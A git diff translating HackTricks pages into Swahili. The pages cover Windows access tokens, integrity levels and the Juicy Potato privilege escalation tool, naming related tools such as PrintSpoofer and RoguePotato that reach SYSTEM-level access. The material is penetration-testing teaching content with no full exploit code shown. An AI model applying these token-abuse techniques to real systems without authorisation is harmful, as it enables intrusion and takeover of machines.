* **Tokeni ya Kuiga**: Inamuwezesha programu ya seva kuchukua kitambulisho cha mteja kwa muda ili kufikia vitu salama. Mekanismu hii imegawanywa katika viwango vinne vya uendeshaji:
|
||||
* **Kujulikana**: Inatoa ufikiaji wa seva sawa na wa mtumiaji asiyejulikana.
|
||||
* **Utambulisho**: Inaruhusu seva kuthibitisha kitambulisho cha mteja bila kukitumia kwa ufikiaji wa vitu.
|
||||
* **Kuiga**: Inamuwezesha seva kufanya kazi chini ya kitambulisho cha mteja.
|
||||
* **Delegation**: Kama Kuiga lakini inajumuisha uwezo wa kupanua dhana hii ya kitambulisho kwa mifumo ya mbali ambayo seva inawasiliana nayo, kuhakikisha uhifadhi wa akidi.
|
||||
* **Primary Token**: Inatumika kama uwakilishi wa sifa za usalama za mchakato. Uundaji na uhusiano wa tokeni za msingi na michakato ni vitendo vinavyohitaji mamlaka ya juu, ikisisitiza kanuni ya kutenganisha mamlaka. Kwa kawaida, huduma ya uthibitishaji inawajibika kwa uundaji wa tokeni, wakati huduma ya kuingia inashughulikia uhusiano wake na kiolesura cha mfumo wa uendeshaji wa mtumiaji. Inafaa kutaja kwamba michakato inarithi tokeni ya msingi ya mchakato wake wa mzazi wakati wa uundaji.
|
||||
* **Impersonation Token**: Inamuwezesha programu ya seva kuchukua kitambulisho cha mteja kwa muda ili kufikia vitu salama. Mekanismu hii imegawanywa katika viwango vinne vya uendeshaji:
|
||||
* **Anonymous**: Inatoa ufikiaji wa seva sawa na wa mtumiaji asiyejulikana.
|
||||
* **Identification**: Inaruhusu seva kuthibitisha kitambulisho cha mteja bila kukitumia kwa ufikiaji wa vitu.
|
||||
* **Impersonation**: Inamwezesha seva kufanya kazi chini ya kitambulisho cha mteja.
|
||||
* **Delegation**: Ni sawa na Impersonation lakini inajumuisha uwezo wa kupanua dhana hii ya kitambulisho kwa mifumo ya mbali ambayo seva inawasiliana nayo, kuhakikisha uhifadhi wa sifa.
|
||||
|
||||
#### Tokeni za Kuiga
|
||||
#### Impersonate Tokens
|
||||
|
||||
Kwa kutumia moduli ya _**incognito**_ ya metasploit ikiwa una ruhusa za kutosha unaweza kwa urahisi **orodhesha** na **kuiga** tokeni nyingine. Hii inaweza kuwa muhimu kufanya **vitendo kana kwamba wewe ni mtumiaji mwingine**. Unaweza pia **kuinua ruhusa** kwa kutumia mbinu hii.
|
||||
Using the _**incognito**_ module of metasploit if you have enough privileges you can easily **list** and **impersonate** other **tokens**. This could be useful to perform **actions as if you where the other user**. You could also **escalate privileges** with this technique.
|
||||
|
||||
### Ruhusa za Tokeni
|
||||
### Token Privileges
|
||||
|
||||
Jifunze ni zipi **ruhusa za tokeni zinaweza kutumika vibaya ili kuinua ruhusa:**
|
||||
Learn which **token privileges can be abused to escalate privileges:**
|
||||
|
||||
{% content-ref url="privilege-escalation-abusing-tokens.md" %}
|
||||
[privilege-escalation-abusing-tokens.md](privilege-escalation-abusing-tokens.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Angalia [**ruhusa zote zinazowezekana za tokeni na baadhi ya maelezo kwenye ukurasa huu wa nje**](https://github.com/gtworek/Priv2Admin).
|
||||
Take a look to [**all the possible token privileges and some definitions on this external page**](https://github.com/gtworek/Priv2Admin).
|
||||
|
||||
## Marejeleo
|
||||
## References
|
||||
|
||||
Jifunze zaidi kuhusu tokeni katika mafunzo haya: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) na [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
|
||||
Learn more about tokens in this tutorials: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) and [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** inayotoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **wameathiriwa** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware ya kuiba taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,48 +1,34 @@
|
|||
# Viwango vya Uaminifu
|
||||
# Integrity Levels
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
## Integrity Levels
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
Katika Windows Vista na toleo la baadaye, vitu vyote vilivyolindwa vinakuja na lebo ya **kiwango cha uaminifu**. Mpangilio huu kwa kawaida unatoa kiwango cha "kati" kwa faili na funguo za rejista, isipokuwa kwa folda na faili fulani ambazo Internet Explorer 7 inaweza kuandika kwa kiwango cha chini cha uaminifu. Tabia ya kawaida ni kwamba michakato inayozinduliwa na watumiaji wa kawaida ina kiwango cha kati cha uaminifu, wakati huduma kwa kawaida hufanya kazi kwa kiwango cha uaminifu wa mfumo. Lebo ya uaminifu wa juu inalinda saraka ya mzizi.
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **kimeathiriwa** na **stealer malwares**.
|
||||
Kanuni muhimu ni kwamba vitu haviwezi kubadilishwa na michakato yenye kiwango cha chini cha uaminifu kuliko kiwango cha kitu hicho. Viwango vya uaminifu ni:
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Viwango vya Uaminifu
|
||||
|
||||
Katika Windows Vista na toleo la baadaye, vitu vyote vilivyolindwa vinakuja na lebo ya **kiwango cha uaminifu**. Mpangilio huu kwa kawaida unatoa kiwango cha "kati" kwa faili na funguo za rejista, isipokuwa kwa folda na faili fulani ambazo Internet Explorer 7 inaweza kuandika kwa kiwango cha chini cha uaminifu. Tabia ya default ni kwamba michakato inayozinduliwa na watumiaji wa kawaida ina kiwango cha kati cha uaminifu, wakati huduma kwa kawaida hufanya kazi kwa kiwango cha uaminifu wa mfumo. Lebo ya uaminifu wa juu inalinda saraka ya mzizi.
|
||||
|
||||
Kanuni muhimu ni kwamba vitu haviwezi kubadilishwa na michakato yenye kiwango cha chini cha uaminifu kuliko kiwango cha kitu. Viwango vya uaminifu ni:
|
||||
|
||||
* **Hauaminika**: Kiwango hiki ni kwa michakato yenye kuingia kwa siri. %%%Mfano: Chrome%%%
|
||||
* **Chini**: Kimsingi kwa mwingiliano wa mtandao, hasa katika Modu ya Kulindwa ya Internet Explorer, ikihusisha faili na michakato zinazohusiana, na folda fulani kama **Folda ya Mtandao ya Muda**. Michakato ya uaminifu wa chini inakabiliwa na vizuizi vikubwa, ikiwa ni pamoja na kukosa ufikiaji wa kuandika rejista na ufikiaji mdogo wa kuandika wasifu wa mtumiaji.
|
||||
* **Kati**: Kiwango cha default kwa shughuli nyingi, kinachotolewa kwa watumiaji wa kawaida na vitu bila viwango maalum vya uaminifu. Hata wanachama wa kundi la Wasimamizi hufanya kazi kwa kiwango hiki kwa default.
|
||||
* **Juu**: Imehifadhiwa kwa wasimamizi, ikiwaruhusu kubadilisha vitu kwa viwango vya chini vya uaminifu, ikiwa ni pamoja na vile vilivyo katika kiwango cha juu mwenyewe.
|
||||
* **Haitumiki**: Kiwango hiki ni kwa michakato yenye kuingia kwa siri. %%%Mfano: Chrome%%%
|
||||
* **Chini**: Kimsingi kwa mwingiliano wa mtandao, hasa katika Modu ya Kulindwa ya Internet Explorer, ikihusisha faili na michakato zinazohusiana, na folda fulani kama **Folda ya Mtandao ya Muda**. Michakato ya chini ya uaminifu inakabiliwa na vizuizi vikubwa, ikiwa ni pamoja na kukosa ufikiaji wa kuandika rejista na ufikiaji mdogo wa kuandika wasifu wa mtumiaji.
|
||||
* **Kati**: Kiwango cha kawaida kwa shughuli nyingi, kinachotolewa kwa watumiaji wa kawaida na vitu bila viwango maalum vya uaminifu. Hata wanachama wa kundi la Wasimamizi hufanya kazi kwa kiwango hiki kwa kawaida.
|
||||
* **Juu**: Imetengwa kwa wasimamizi, ikiwaruhusu kubadilisha vitu kwa viwango vya chini vya uaminifu, ikiwa ni pamoja na vile vya kiwango cha juu mwenyewe.
|
||||
* **Mfumo**: Kiwango cha juu zaidi cha uendeshaji kwa kernel ya Windows na huduma za msingi, ambacho hakiwezi kufikiwa hata na wasimamizi, kuhakikisha ulinzi wa kazi muhimu za mfumo.
|
||||
* **Installer**: Kiwango cha kipekee ambacho kiko juu ya vingine vyote, kikiruhusu vitu katika kiwango hiki kufuta kitu kingine chochote.
|
||||
* **Mfunguo**: Kiwango cha kipekee ambacho kiko juu ya vingine vyote, kikiruhusu vitu vilivyo katika kiwango hiki kufuta kitu kingine chochote.
|
||||
|
||||
Unaweza kupata kiwango cha uaminifu cha mchakato kwa kutumia **Process Explorer** kutoka **Sysinternals**, ukifungua **mali** ya mchakato na kuangalia tab ya "**Usalama**":
|
||||
Unaweza kupata kiwango cha uaminifu cha mchakato kwa kutumia **Process Explorer** kutoka **Sysinternals**, ukifungua **mali** za mchakato na kuangalia tab ya "**Usalama**":
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -50,9 +36,9 @@ Unaweza pia kupata **kiwango chako cha uaminifu wa sasa** kwa kutumia `whoami /g
|
|||
|
||||
.png>)
|
||||
|
||||
### Viwango vya Uaminifu katika Mfumo wa Faili
|
||||
### Integrity Levels in File-system
|
||||
|
||||
Kitu ndani ya mfumo wa faili kinaweza kuhitaji **mahitaji ya kiwango cha chini cha uaminifu** na ikiwa mchakato huna mchakato huu wa uaminifu hautaweza kuingiliana nacho.\
|
||||
Kitu ndani ya mfumo wa faili kinaweza kuhitaji **mahitaji ya kiwango cha chini cha uaminifu** na ikiwa mchakato huna kiwango hiki cha uaminifu hautaweza kuingiliana nacho.\
|
||||
Kwa mfano, hebu **tufanye faili ya kawaida kutoka kwa konso ya mtumiaji wa kawaida na kuangalia ruhusa**:
|
||||
```
|
||||
echo asd >asd.txt
|
||||
|
|
@ -89,7 +75,7 @@ C:\Users\Public\asd.txt
|
|||
Access is denied.
|
||||
```
|
||||
{% hint style="info" %}
|
||||
**Hivyo, wakati faili ina kiwango cha chini cha uaminifu, ili kuibadilisha unahitaji kuwa unafanya kazi angalau katika kiwango hicho cha uaminifu.**
|
||||
**Kwa hivyo, wakati faili ina kiwango cha chini cha uaminifu, ili kuibadilisha unahitaji kuwa unafanya kazi angalau katika kiwango hicho cha uaminifu.**
|
||||
{% endhint %}
|
||||
|
||||
### Viwango vya Uaminifu katika Binaries
|
||||
|
|
@ -108,37 +94,10 @@ Sasa, ninapokimbia `cmd-low.exe` itafanya **kazi chini ya kiwango cha chini cha
|
|||
|
||||
.png>)
|
||||
|
||||
Kwa watu wenye hamu, ikiwa unatoa kiwango cha juu cha uaminifu kwa binary (`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`) haitafanya kazi kwa kiwango cha juu cha uaminifu moja kwa moja (ikiwa unaitumia kutoka kiwango cha kati cha uaminifu --kwa default-- itafanya kazi chini ya kiwango cha kati cha uaminifu).
|
||||
Kwa watu wenye hamu, ikiwa unatoa kiwango cha juu cha uaminifu kwa binary (`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`) haitafanya kazi kwa kiwango cha juu cha uaminifu moja kwa moja (ikiwa unakiita kutoka kwa kiwango cha kati cha uaminifu --kwa default-- itafanya kazi chini ya kiwango cha kati cha uaminifu).
|
||||
|
||||
### Viwango vya Uaminifu katika Mchakato
|
||||
|
||||
Sio faili na folda zote zina kiwango cha chini cha uaminifu, **lakini mchakato wote unafanya kazi chini ya kiwango cha uaminifu**. Na sawa na kile kilichotokea na mfumo wa faili, **ikiwa mchakato unataka kuandika ndani ya mchakato mwingine lazima uwe na angalau kiwango sawa cha uaminifu**. Hii inamaanisha kwamba mchakato wenye kiwango cha chini cha uaminifu hauwezi kufungua kushughulikia kwa ufikiaji kamili kwa mchakato wenye kiwango cha kati cha uaminifu.
|
||||
Sio faili na folda zote zina kiwango cha chini cha uaminifu, **lakini mchakato wote unafanya kazi chini ya kiwango cha uaminifu**. Na sawa na kile kilichotokea na mfumo wa faili, **ikiwa mchakato unataka kuandika ndani ya mchakato mwingine lazima uwe na angalau kiwango sawa cha uaminifu**. Hii ina maana kwamba mchakato wenye kiwango cha chini cha uaminifu hauwezi kufungua kushughulikia kwa ufikiaji kamili kwa mchakato wenye kiwango cha kati cha uaminifu.
|
||||
|
||||
Kwa sababu ya vizuizi vilivyotajwa katika sehemu hii na sehemu iliyopita, kutoka kwa mtazamo wa usalama, kila wakati **inapendekezwa kufanya kazi katika kiwango cha chini cha uaminifu kinachowezekana**.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **kuyumbishwa** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware ya kuiba taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,31 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="warning" %}
|
||||
**JuicyPotato haitumiki** kwenye Windows Server 2019 na Windows 10 build 1809 kuendelea. Hata hivyo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) zinaweza kutumika ili **kuongeza haki sawa na kupata ufikiaji wa kiwango cha `NT AUTHORITY\SYSTEM`**. _**Angalia:**_
|
||||
**JuicyPotato haitumiki** kwenye Windows Server 2019 na Windows 10 build 1809 kuendelea. Hata hivyo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) zinaweza kutumika **kuchukua faida ya ruhusa sawa na kupata `NT AUTHORITY\SYSTEM`** kiwango cha ufikiaji. _**Angalia:**_
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="roguepotato-and-printspoofer.md" %}
|
||||
[roguepotato-and-printspoofer.md](roguepotato-and-printspoofer.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Juicy Potato (kuabudu haki za dhahabu) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
## Juicy Potato (kuabudu ruhusa za dhahabu) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
|
||||
_Versheni iliyopambwa ya_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, ikiwa na juisi kidogo, yaani **chombo kingine cha Kuongeza Haki za Mitaa, kutoka Akaunti za Huduma za Windows hadi NT AUTHORITY\SYSTEM**_
|
||||
_**Toleo lililo na sukari la**_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, likiwa na juisi kidogo, yaani **chombo kingine cha Kuinua Ruhusa za Mitaa, kutoka Akaunti za Huduma za Windows hadi NT AUTHORITY\SYSTEM**_
|
||||
|
||||
#### Unaweza kupakua juicypotato kutoka [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
||||
|
||||
|
|
@ -47,36 +33,36 @@ _Versheni iliyopambwa ya_ [_RottenPotatoNG_](https://github.com/breenmachine/Rot
|
|||
|
||||
[**Kutoka kwa juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) na [mabadiliko yake](https://github.com/decoder-it/lonelypotato) yanatumia mnyororo wa kuongeza haki kulingana na [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [huduma](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) ikiwa na msikilizaji wa MiTM kwenye `127.0.0.1:6666` na unapokuwa na haki za `SeImpersonate` au `SeAssignPrimaryToken`. Wakati wa ukaguzi wa toleo la Windows tuligundua usanidi ambapo `BITS` ulikuwa umezimwa makusudi na bandari `6666` ilikuwa imechukuliwa.
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) na [toleo lake](https://github.com/decoder-it/lonelypotato) linachukua faida ya mnyororo wa kuinua ruhusa kulingana na [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [huduma](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) ikiwa na msikilizaji wa MiTM kwenye `127.0.0.1:6666` na unapokuwa na ruhusa za `SeImpersonate` au `SeAssignPrimaryToken`. Wakati wa ukaguzi wa toleo la Windows tuligundua usanidi ambapo `BITS` ulikuwa umezimwa kwa makusudi na bandari `6666` ilikuwa imechukuliwa.
|
||||
|
||||
Tuliamua kuunda silaha [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Sema hello kwa Juicy Potato**.
|
||||
Tuliamua kuunda silaha [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Sema habari kwa Juicy Potato**.
|
||||
|
||||
> Kwa nadharia, angalia [Rotten Potato - Kuongeza Haki kutoka Akaunti za Huduma hadi SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) na ufuate mnyororo wa viungo na rejeleo.
|
||||
> Kwa nadharia, angalia [Rotten Potato - Kuinua Ruhusa kutoka Akaunti za Huduma hadi SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) na fuata mnyororo wa viungo na marejeleo.
|
||||
|
||||
Tuligundua kwamba, mbali na `BITS` kuna seva kadhaa za COM tunaweza kuabudu. Zinahitaji tu:
|
||||
|
||||
1. kuwa na uwezo wa kuanzishwa na mtumiaji wa sasa, kawaida "mtumiaji wa huduma" ambaye ana haki za kujiwakilisha
|
||||
1. kuwa na uwezo wa kuanzishwa na mtumiaji wa sasa, kawaida "mtumiaji wa huduma" ambaye ana ruhusa za kujiwakilisha
|
||||
2. kutekeleza interface ya `IMarshal`
|
||||
3. kukimbia kama mtumiaji aliyeinuliwa (SYSTEM, Administrator, …)
|
||||
|
||||
Baada ya majaribio kadhaa tulipata na kujaribu orodha pana ya [CLSID za kuvutia](http://ohpe.it/juicy-potato/CLSID/) kwenye toleo kadhaa za Windows.
|
||||
Baada ya majaribio kadhaa tulipata na kujaribu orodha kubwa ya [CLSID za kuvutia](http://ohpe.it/juicy-potato/CLSID/) kwenye matoleo kadhaa ya Windows.
|
||||
|
||||
### Maelezo ya Juicy <a href="#juicy-details" id="juicy-details"></a>
|
||||
|
||||
JuicyPotato inakuwezesha:
|
||||
|
||||
* **CLSID ya Lengo** _chagua CLSID yoyote unayotaka._ [_Hapa_](http://ohpe.it/juicy-potato/CLSID/) _unaweza kupata orodha iliyopangwa kwa OS._
|
||||
* **Bandari ya Kusikiliza ya COM** _mwelekeo wa bandari ya kusikiliza ya COM unayopendelea (badala ya 6666 iliyohardcoded)_
|
||||
* **Bandari ya Kusikiliza ya COM** _mwelekeo wa bandari ya kusikiliza ya COM unayopendelea (badala ya 6666 iliyowekwa kwenye msimbo)_
|
||||
* **Anwani ya IP ya Kusikiliza ya COM** _fungua seva kwenye IP yoyote_
|
||||
* **Njia ya uundaji wa mchakato** _kulingana na haki za mtumiaji aliyejiwakilisha unaweza kuchagua kutoka:_
|
||||
* **Njia ya uundaji wa mchakato** _kulingana na ruhusa za mtumiaji aliyejiwakilisha unaweza kuchagua kutoka:_
|
||||
* `CreateProcessWithToken` (inahitaji `SeImpersonate`)
|
||||
* `CreateProcessAsUser` (inahitaji `SeAssignPrimaryToken`)
|
||||
* `zote`
|
||||
* **Mchakato wa kuzindua** _anzisha executable au script ikiwa unyakuzi unafanikiwa_
|
||||
* **Argumenti za Mchakato** _binafsisha hoja za mchakato ulioanzishwa_
|
||||
* **Mchakato wa kuzindua** _zindua executable au script ikiwa unyakuzi unafanikiwa_
|
||||
* **Argumenti za Mchakato** _binafsisha hoja za mchakato uliozinduliwa_
|
||||
* **Anwani ya Seva ya RPC** _kwa njia ya siri unaweza kujiandikisha kwa seva ya RPC ya nje_
|
||||
* **Bandari ya Seva ya RPC** _inafaa ikiwa unataka kujiandikisha kwa seva ya nje na firewall inazuia bandari `135`…_
|
||||
* **MODE YA TESTI** _hasa kwa madhumuni ya majaribio, yaani, kujaribu CLSIDs. Inaunda DCOM na kuchapisha mtumiaji wa token. Angalia_ [_hapa kwa majaribio_](http://ohpe.it/juicy-potato/Test/)
|
||||
* **MTIHANI wa hali** _hasa kwa madhumuni ya majaribio, yaani, kujaribu CLSIDs. Inaunda DCOM na kuchapisha mtumiaji wa token. Angalia_ [_hapa kwa majaribio_](http://ohpe.it/juicy-potato/Test/)
|
||||
|
||||
### Matumizi <a href="#usage" id="usage"></a>
|
||||
```
|
||||
|
|
@ -142,9 +128,9 @@ Mara nyingi, CLSID ya default ambayo JuicyPotato inatumia **haifanyi kazi** na e
|
|||
|
||||
Kwanza, utahitaji baadhi ya executable mbali na juicypotato.exe.
|
||||
|
||||
